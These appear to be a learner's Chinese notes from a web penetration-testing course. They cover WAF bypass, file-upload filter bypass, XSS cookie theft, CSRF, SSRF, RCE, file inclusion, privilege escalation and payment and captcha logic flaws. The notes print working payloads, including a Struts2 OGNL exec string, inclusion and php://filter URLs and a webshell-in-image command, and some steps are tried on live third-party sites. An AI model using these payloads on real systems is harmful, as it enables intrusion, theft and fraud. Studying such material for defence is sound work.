1、白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。
常见的 url 构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/"进行比较,只需url中存在/manage/就作为白名单不进行检测,这样我们就可以通过/sql.php?a=/manage/&b=…/etc/passwd绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1、根据UserAgent 2、通过行为判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher(Firefox附加组件),下载地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
2.FUZZ 绕过脚本结合编写测试
FUZZ脚本编写
3.阿里云盾防 SQL 注入简要分析
4.安全狗+云盾SQL注入插件脚本编写
自己写脚本,直接使用脚本是跑不了的,放到本地抓包跑一下;
如果开启了流量防护,sqlmap运行的太快也会被拦截;
解决方法:
1.添加延时参数 --delay参数
2.使用代理池
随机出IP
3.更改请求头,添加http白名单 浏览器请求头 --user-Agent=" "
4.自己编写
然后使用TXT文本里的数据包注入
凡是存在文件上传的地方均有可能存在文件上传漏洞,有文件上传就可以测试漏洞;
指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传漏洞的时候看对方的代码是否写的比较完整、安全,疏忽了验证就会造成文件上传漏洞;
有文件上传的功能就可以去测试;
造成文件上传漏洞的主要原因是应用程序中有上传功能,但上传的文件没有通过严格的合法性检查或者检查功能有缺陷,导致木马文件上传到服务器。文件上传漏洞危害极大,因为恶意代码可以直接上传到服务器,可能造成服务器网页修改、网站暂停、服务器远程控制、后门安装等严重后果。
1.黑盒查找
扫描敏感文件,获取上传地址;
根据网站给出的应用,进入到网站后台也可以文件上传;
首先找到文件上传的窗口,然后判断是服务器端还是客户端的验证,客户端较容易判断出来,最后检验是哪种服务器端的过滤方式。判断是客户端和服务端检验,再检验是白名单还是黑名单,根据具体情况来决定采用什么绕过方式。
2.白盒查找
从对方的源代码里来分析漏洞;
拿到一个文件上传,对文件上传的类型做一个区分;确定文件上传的类型,采取这样的类型来去做测试;
1. 常规文件上传地址的获取说明
使用谷歌语法搜索inurl:upload.php
搜索查询上传页面
可以使用工具扫描
2. 不同格式下的文件类型后门测试
不要妄想通过一个图片你能带着你的后门来控制网站。直接改格式有时候并没有什么用,什么格式代码就用什么格式去执行。
3.配合解析漏洞下的文件类型后门测试
解析漏洞是指web服务器因对http请求处理不当导致将非可执行的脚本,文件等当做可执行的脚本,文件等执行。该漏洞—般配合服务器的文件上传功能使用,以获取服务器的权限。
解析漏洞一般发生在iis、nginx、apache
首先启用vulhub靶场,搭建文件上传解析漏洞的靶场;
启动靶场环境
访问靶场
提交的图片中插入语句,然后实现解析漏洞;
这并不是说这样加了都可以,是因为这里有Ngiinx畸形解析漏洞, 对方在解析上的出现了混乱;
解析的规则是要看有没有漏洞,有的话可以按这种方法,没有的话就无法实现
4.本地文件上传漏洞靶场环境搭建测试
靶场下载地址
用phpstudy搭建upload-labs这个靶场;
PHP称为后端语言是因为它的代码和你前端执行源代码是不同的。
5.某 CMS 及 CVE 编号文件上传漏洞测试
小迪使用的是FineCMS
自己没办法搭建;
可以去网上查询FineCMS的漏洞,比自己一个人乱搞可以提高很多效率;
weblogic任意文件上传漏洞
启动靶场环境
跟着靶场的复现一步步完成就可以
最后要上传一个jsp文件,我没有这样的后门文件,所以最后没办法上传成功,但是前面的步骤都是正确的;
后缀名,类型,文件头等
黑名单:不允许上传的格式后缀
asp php jsp aspx cgi war 等
php5、phtml等后缀没有定义到黑名单里面,也许可以使用绕过文件上传
白名单:可以上传的格式后缀
jpg png zip rar gif 等
黑名单绕过:
1.uploadlabs Pass-02
打开靶场,查看源代码
只判断文件类型,抓包修改文件类型为image/jpeg、image/png、image/gif
修改文件类型后
2.uploadlabs Pass-03
打开靶场,查看源代码
黑名单里面不允许上传.asp、.aspx、.php、.jsp
但是我们可以上传.php5、.phtml等;
修改后缀名,上传成功
3.uploadlabs Pass-04
打开靶场,查看源代码
所有的后缀名基本上都不能使用了,除了.htaccess
先上传一个.htaccess后缀名的文件
内容如下:
<FilesMatch "shana">
Sethandler application/x-httpd-php
</FilesMatch >
4.uploadlabs Pass-05
打开靶场,查看源代码
可以看出有大小写的区分,可以使用大小写绕过
更改大小写,上传成功
5.uploadlabs Pass-06
打开靶场,查看源代码,没有对后缀名进行去空,因此可以在后缀名加空格绕过
修改文件名后缀名大小写,增加空格
文件上传成功
图片一句话制作方法:
copy 1.png /b + shell.php /a webshell.jpg
文件头检测:
是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传。
图像文件信息判断:
逻辑安全=二次渲染:
二次渲染的缘分逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传。
逻辑安全-条件竞争:
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
目录命名-x.php/.
1.uploadlabs Pass-14
打开靶场,查看源代码,图片木马绕过;
制作图片,生成图片木马
2.uploadlabs Pass-17
打开靶场,查看源代码,二次渲染
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
二次渲染:分两步,先把文件上传服务器,服务器将这个文件进行保存或删除(上传的时候下面有保存和上传的按钮)
3.CVE-2017-12615-上传-Tomcat
打开靶场环境
然后根据提示解决问题
4.中间件解析漏洞+配合文件上传测试
各个平台解析漏洞讲解:
IS,Apache,Nginx
各个 WEB 编辑器安全讲解:
https://navisec.it/编辑器漏洞手册/
各个 CMS 文件上传简要讲解:
wordpress,phpcms,
Apache解析漏洞-低版本
在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器中若此文件.yyy后缀不被解析,则依次向前解析,成功为止。
如果服务器中间件apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后缀,利用解漏洞规则成功解析该文件,文件中的后门代码就会被
Apache 换行解析-vulhub
这个漏洞以前复现过,这次就不复现了;
Nginx 解析漏洞-vulhub
这个之前也复现过,就不再复现了;
1.Fckeditor exp 利用
构件组成
实际的编辑器
2.ueditor 漏洞利用
通达 OA 系统
判断中间件平台,编辑器类型或 CMS 名称进行测试
原理:XSS简称跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在WEB应用程序中的计算机安全漏洞,是由于WEB应用程序对用户的输入过滤不足而产生的
攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookies资料窃取,会话劫持,钓鱼欺骗等各种攻击
XSS跨站大部分都是前端的漏洞,和网站脚本没有关系。
XSS简介
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
产生层面
属于前端漏洞,产生在浏览器界面,JavaScript代码能干什么,执行之后就会达到相应的效果
函数类
一般哪些函数会和这些漏洞有关系,常见的输出型函数会产生关系,比如:print、print_r、echo、printf、sprintf、die、var_dump、var_export
危害影响
会受到JavaScript语句的影响,想实现什么功能,实现什么攻击,就通过JS代码来实现的
浏览器内核版本
浏览器内核版本也会决定漏洞的情况,利用这个漏洞需要浏览器版本和内核没有过滤XSS攻击
例如:
像火狐就可以成功的执行这个JS代码
但是IE浏览器就会有过滤,阻止JS代码的执行
漏洞攻击成功的前提条件:
1.浏览器内核版本会决定漏洞是否执行,浏览器版本高的话,会有一些安全策略,阻止一些JS脚本的执行。即使有漏洞也无法利用成功
1.反射型
原理:将恶意js代码作为输入提交到服务器端,服务器端解析后响应,js代码随响应内容一起传回给浏览器,最后浏览器解析执行js代码。只有一次效果,通常伪造成链接获取cookie或着进行钓鱼欺骗。通常出现在搜索框和用户登录口。
<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
2.存储型
攻击者传入的js代码在服务器端(数据库,内存,文件系统等)存储下来,用户每次访问都会执行恶意构造的js代码。持久性的。通常出现在留言板等与数据库交互的地方。
3.DOM型
DOM,全称Document Object Model,可以认为是反射性xss,但是差别在于DOM XSS的代码并不需要服务器参与,发生在客户端,DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等,触发XSS靠的是浏览器端的DOM解
析。通常出现在页面跳转的地方,常用方法location.replace,document.write()等调用DOM对象的地方。
1.XSS 漏洞代码绕过靶场使用
在Pikachu的靶场先试一下反射型的。
再试一下存储型
一样还是成功的
2.XSS 平台及工具简要演示测试
XSS平台的使用
https://xsshs.cn/xss.php?do=login
1、 注册
7.、发现请求了这个地址。在平台上就有信息了
小迪老师的课件里面也有一些XSS绕过的方法
cookie session
用户凭据:通过凭据可以判断对方身份信息
cookie 存储本地 存活时间较长 小中型
session 会话 存储服务器 存活时间较短 大型
还可以在kali里面安装beef,类似于XSS平台。
通过XSS平台获取cookie
网络上还是有很多大马,后门。都是通过别人下载之后,通过他人之手盗取别人的信息
1.某营销订单系统 XSS 盲打_平台
尝试在虚拟机里面搭建过,就是不懂为啥这些靶场我都登陆不进去,所以这边截小迪老师的图,来给大家看一下。
将跨站代码写在具体要求那一栏,看看能不能成功。
管理员订单查询的时候
成功的触发了跨站代码
2.某 Shell 箱子系统 XSS 盲打_工具
将盗取的信息统一的放到这个箱子里进行管理,当别人使用你分享的后门工具时,你后门工具里面的代码,会把你获取的权限,发送到这个箱子里面。
3.工具 Http/s 数据包提交 Postman 使用
上面的是通过XSS平台获取的cookie,下面是浏览器原本的cookie,明显的不一样。
用postman这个工具,把得到的cookie加上这个PHPSESSID,就可以访问后台了
如果对方网站采取session验证的话,盗取cookie是无效的。session没有储存到对方的电脑上,储存到服务器上。只能盗取本地的,session在服务端,所以我们没有接收到PHPSESSID这个数据。
但是在phpinfo()页面,我们是可以看到的我们需要的PHPSESSID
所以我们可以在XSS平台上,借助一种功能,获取页面源码,访问phpinfo(),得到session的ID
CSRF 漏洞解释,原理等
CSRF 漏洞(跨站请求伪造):漏洞是由于未校验请求来源,导致攻击者可在第三方站点发起 HTTP 请求,并以受害者的目标网站登录态(cookie、session 等)请求,从而执行一些敏感的业务功能操作
CSRF攻击成功,首先需要点击伪造链接,其次还需要被攻击者的一些敏感页面是在登陆状态的,才有可能实施攻击
CSRF 漏洞检测,案例,防御等
漏洞检测
用Burp Suite上自带的插件来查询是否有CSRF漏洞
复制下面的HTML代码,粘贴到服务器中,并且看看在服务器里是否可以更改信息
如果可以更改,就证明有这个漏洞
手机号码被更改了,所以存在CSRF漏洞,没有反应的话就没有这个漏洞
防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
数据包里面有token,就是用来检测数据的唯一性
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
SSRF 漏洞解释,原理等
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。主要产生在网站的应用上。
SSRF 漏洞检测,案例,防御等
各个协议调用探针:http,file,dict,ftp,gopher 等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
内网探针:通过服务端请求其内网中的信息,内网穿透过去,通过协议,http,file,ftp,等
在内网中是没有办法直接请求信息的,通过访问网站实现跳板,来对内网实现攻击
内网IP地址是私有的,IP端并不多,做一个字典可以跑。
攻击的不是真实内网去,而是去打一些藏在内网中的服务,比如数据库被放在内网中无法提取,邮件服务器,隧道,代理等等等等
本地上传和远程上传
本地上传:将自己本地的文件和图片上传到对方的网站上去
远程上传:产生ssrf的明显漏洞,
2.SSRF 实战_图片加载翻译转码等应用说明
下面这个粘贴图片地址符合就可以测试是否有ssrf漏洞,本地上传不可以测试是否有ssrf漏洞
有道词典这里就可能有ssrf漏洞
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
写一个简单的代码
$code=$_GET['x'];
eval($code);
?>
测试一下,变成了代码去解析,这里就是一个小的代码执行漏洞,想用代码写入文件,寻找写入文件的命令,在用代码执行漏洞
写一个简单的代码
$code=$_GET['x'];
system($code);
?>
这次把eval换成了system,再用系统命令ipconfig
总结:找代码执行和命令执行的时候观察网站源码,看网站的具体应用。
1.墨者靶场黑盒功能点命令执行-应用功能
打开靶场看一下,我想当然的就直接输入IP和命令
但是发现没有用,前端过滤掉了,还是要抓包
我们抓包之后,就可以实现命令执行
成功的实现了命令执行
然后我们在cat一下,这里说明一下,空格被过滤,所以需要我们想个办法绕过空格
最后成功拿到flag
额外说一下,我也是今天才知道原来火狐也是可以抓包发包的
2.墨者靶场白盒代码及命令执行-代码分析
打开靶场看一下,清楚的看到一句php的代码
然后我们用php在线环境,解密一下,可以看到a的参数
这样我们在URL上输入参数a
在参数a里实现命令执行,获得key
补充一下,关于解密得到的内容 echo $_REQUEST[a]
;; ?>
echo输出反引号内的内容会被当做系统命令执行
3.墨者靶场黑盒层 RCE 漏洞检测-公开漏洞
打开靶场
去百度上搜索一下Webmin有哪些漏洞,开始漏洞复现,并且需要修改两个地方
抓包可以看到漏洞复现成功
根据靶场页面的提示,key在根目录下面,我们打开根目录,找到了key.txt
打开key.txt,拿到我们的flag
4.Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面
看这个是为了告诉大家,RCE漏洞在很多层面都有漏洞的
在网站上搜一些exp试一下
exp:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls
成功发现目录
打开key.txt,拿到flag
额外补充:
poc是验证的,验证漏洞是否存在
exp是利用的,用来利用漏洞
文件包含原理:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<%@ include file=“head.jsp”%>
1.本地文件包含代码测试-原理
我们在本地写一个代码测试一下文件包含漏洞
本地包含-无限制
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt
$filename=$_GET['filename'];
include($filename);
?>
$filename=$_GET['filename'];
include($filename.".html");
?>
这里可以用一些方法绕过限制
%00截断:条件:magic_quotes_gpc = Off php版本<5.3.4
filename=…/…/…/www.txt%00
长度截断:条件:Windows,点好需要长于256;linux长于4096
2.远程文件包含代码测试-原理
1.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
2.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
3.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
4.http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
3.各种协议流提交流测试-协议
每个脚本支持的协议,之前也要发过。
php://filter/read=convert.base64-encode/resource=index.php
http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://in
put Post:
http://e5369bfd1d9c4bc4af66983b843eb0f3760d8c19751b457d.changame.ichunqiu.com/?path=php://fil
ter/read=convert.base64-encode/resource=dle345aae.php
http://127.0.0.1:8080/include.php?filename=data://text/plain,
4.某 CMS 程序文件包含利用-黑盒
5.CTF-南邮大-白盒
链接:http://4.chinalover.sinaapp.com/web7/index.php
打开靶场
点击过后看到,有file=show.php
这里经过测试可以发现有文件包含漏洞,我们这里用伪协议
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
就可以得到base64加密过后的flag
经过base64解密过后,得到flag
6.i 春秋百度杯真题-白盒
看一下题目
打开靶场
要输入语句跳转页面
发现了一个奇怪的文件,打开看一下,得到flag
区别:
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞
漏洞原理:
文件下载(一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。)
任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境,以及网站的路径,这时候我们只能利用./ …/来逐层猜测路径,让漏洞利用变得繁琐。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
文件名,参数值,目录符号
看到下面的点,可以去想想是不是文件下载漏洞
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
…/ …\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、
WEB-INF
下载或文件读取漏洞:
对应文件:配置文件(数据库,平台,各种等)
1.Pikachu-文件下载测试-参数
打开靶场看一下
观察图片链接和图片下载链接,发现有些地方不一样,所以我们可以跨目录下载ececdownload里面的东西
文件下载成功
如何得到数据库配置文件和路径
1.扫描工具爬行或扫描地址
2.下载好的文件代码中去分析路径和包含文件获取
补充:直接下载上面的文件和访问这个文件是不是一码事?
不一样的,php代码不对外展示,会被解析成html代码
2.Zdns-文件下载真实测试-功能点
真实的网站地址
看一下这个网站应用下载的地方,测试一下是否有漏洞,找一个软件下载路径看一下,发现还有base64加密,可以通过下面这个路径来下载一些敏感文件
3.小米路由器-文件读取真实测试-漏洞
真实的漏洞,在钟馗之眼上找到的一个地址,可以利用这个漏洞
https://www.seebug.org/vuldb/ssvid-98122
具体的可以看上面的链接
执行图片中的代码,就可以观察到是否有这个漏洞了
4.RoarCTF2019-文件读取真题复现-比赛
打开靶场看一下
点击下方的help,就会发现一个标志性的东西Download
这里再利用一些JAVA开发的知识点,来解题。
因为不是做题笔记,所以写的比较粗糙,一些知识点我也没有去查询,就大概写一下解题的思路。
这里首先先利用JAVA开发的一个知识点
修改提交方式测试-读取 WEB 配置文件 WEB-INF/web.xml
然后再找到flag的路径
访问读取对应地址-访问读取 flag 对应 class 文件- (WEB-INF/classes/com/wm/ctf/FlagController.class)
这里的flag被base64加密了,所以我们要base64解密一下。
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
水平越权和垂直越权:
水平越权:通过更换的某个 ID 之类的身份标识,从而使 A 账号获取(修改、删除等)B 账号数据。
垂直越权:使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。
未授权访问:通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。
原理:
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示
只判断登录状态,即普通用户登录之后无需验证级别依然可以调用该php文件
后端安全造成:数据库
user 表(管理员和普通用户同表)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,11111,2
登录用户 admin 或 xiaodi 时,代码是如何验证这个级别?(usertype 判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
1.Pikachu-本地水平垂直越权演示(漏洞成因)
水平越权:
抓包看一下,有username,可以尝试改名,改成lucy
发现水平越权成功
垂直越权:
先创建一个名叫cswly的用户,抓包过后再删除
修改admin用户的PHPSESSID,使其变为pikachu的PHPSESSID,这样cswly用户就可以重新添加上去,实现垂直越权。
垂直越权:添加用户
前提条件:获取的添加用户的数据包
怎么来的数据包:
1.不同用户前端有操作界面可以抓取数据包
2.通过网站源码本地搭建自己去模拟抓取
3.盲猜
2.墨者水平-身份认证失效漏洞实战(漏洞成因)
打卡靶场看一下
登陆用户test,抓包可以看到一个用户编号,修改这个用户编号,我们就可以找到这个“马春生”了
这里我们看到有“马春生”的照片,复制一下图片地址,我们就看到了用户编号
通过这个方法得到用户名和密码。
当然我们也可以用Burp suit暴力破解,根据上面的方法,找到用户名和密码,密码用md5解密一下
登陆成功,得到flag
3.越权检测-小米范越权漏洞检测工具(工具使用)
中通安全开源项目之越权漏洞自动化检测
https://github.com/ztosec/secscan-authcheck
4.越权检测-Burpsuite 插件 Authz 安装测试(插件使用)
在Burpsuite内直接安装
1.登录点暴力破解
需要先区分是HTTP还是HTTPS,因为HTTPS有可能是加密传输的,把密文加密后再进行爆破。
2.HTTP/HTTPS 传输
3.Cookie 脆弱点验证
4.Session 固定点测试
5.验证密文比对安全测试
参考:https://www.secpulse.com/archives/67080.html
商品购买流程:
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
常见篡改参数:
商品编号 ID,购买价格,购买数量,支付方式,订单号,支付状态等
常见修改方法:
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
1.HTTP/HTTPS 协议密文抓取
HTTP:登陆的时候数据包可能不会加密,但是有些还是会加密的
HTTPS:一般都是会把密码加密的,加密传输
2.后台登录帐号密码爆破测试
本地搭建一个zBlog,抓包可以看到密码被加密了
可以看出来是MD5加密,然后我们这边可以用加密脚本爆破,脚本链接https://github.com/huyuanzhi2/password_brute_dictionary
这里还可以用Burpsuite爆破,因为之前演示过很多次了,所以这里就不演示了。
3.Cookie 脆弱点验证修改测试
搭建了一个本地的熊海CMS的管理系统。
看一下它的代码,代码的验证只是验证了uesr不为空
这里只要Cookie的user不为零,就可以绕过登录
4.某商场系统商品支付逻辑测试-数量,订单
打开靶场
抓包看到有商品的数量
我们可以修改商品的数量,这样就可以修改支付价格
可以看到有商品的数量和价格
这里我们修改价格
6000 大米测试产品
/index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%
AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uplo
ads/thumb/thumb_1393218295.jpg
5400 大米手机 cms
/index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9
C%BACMS&qty=2&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_13
93218295.jpg
上面两个数据包,商品的名称、数量、价格都不一样,都可以是我们修改的地方。
index.php?s=/wap/pay/wchatQrcodePay 微信支付
index.php?s=/wap/pay/alipay 支付宝支付
index.php?s=http://www.xiaodi8.com/alipay 调用其他的支付接口
$ pay_name=$_GET[‘s’];
6000 是存储到数据库里,安全的做法:以数据库的数据值为准
客户端回显,Response 状态值,验证码爆破,找回流程绕过等
一个页面操作数据的流程问题
跳过步骤的流程问题
1.发送验证码
2.验证
3.重置密码
1-3 跳过2 流程问题
短信轰炸,来电轰炸等
1.找回密码验证码逻辑-爆破测试-实例
2.墨者靶场密码重置-验证码套用-靶场
打开靶场
然后我们点击重置密码
我们可以抓包修改电话号码,达到修改密码的目的,得到验证码
3.手机邮箱验证码逻辑-客户端回显-实例
可以直接看到验证码,在客户端回显
4.绑定手机验证码逻辑-Rep 状态值篡改-实例
打开靶场
在这里插入图片描述
这里可以看到响应包里面有一个数字3,这个3就代表输入的验证码错误。
我们把数字修改成1,就可以成功输入验证码
5.某 APP 短信轰炸接口乱用-实例接口调用发包
在网站上找到发短信的应用接口,比如发送验证码,把这些接口整合到一起,用程序批量遍历循环,就可以实现短信轰炸。
分类:图片,手机或邮箱,语音,视频,操作等
原理:验证生成或验证过程中的逻辑问题
危害:账户权限泄漏,短信轰炸,遍历,任意用户操作等
漏洞:客户端回显(已讲),验证码复用,验证码爆破(已讲),绕过等
1.验证码识别插件及工具操作演示-实例
下载一个图片验证码的识别工具
打开一个实例网站
https://manage.yyxueche.com/panel/login.php
我们使用上面的工具,就可以识别出验证码,把网站地址和请求头都复制到这个工具上,就可以开始识别了,得到验证码,会有一定的报错,但是准确率还是挺高的
在Burp上,也有插件,也可以识别验证码的
这里有文章可以参考一下这个插件
https://www.cnblogs.com/nul1/p/12071115.html
2.验证码绕过本地及远程验证-本地及实例
看一下本地搭建的靶场
首先看一下验证码绕过(on server)
在intruder里验证码可重复使用,爆破的时候验证码不会报错
再看一下验证码绕过(on client)
抓包看一下,把验证码删除掉,可以成功登陆,由于是前端验证,直接抓包重放删除验证码传参,也不会返回验证码不能为空
3.Token客户端回显绕过登录爆破演示-本地
找token规律也找不出来,但是可以通过抓包发现,返回了下一次使用的token:
满足以上条件我们就可以使用burp的音叉攻击进行爆破,线程必须为1,参数为password和token。
password载荷设置:
token载荷设置,类型为递归搜索:
选项添加Grep-Extract:
上图中,第五步复制的value值放入下图中:
线程设置为1,一定要记住,开始攻击:
4.某 URL 下载接口 ID 值调用遍历测试-实例
测试网址http://www.grasp.com.cn/DownFiles.aspx?id=591
用BurpSuite字典暴力攻击
这种尝试类似于水平越权:
xiaodi uid=10
1-1000 尝试能不能获取到其他编号对应的用户信息
5.Callback 自定义返回调用安全-漏洞测试-实例
打开的网站上,url有callback,可以尝试进行跨站攻击
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
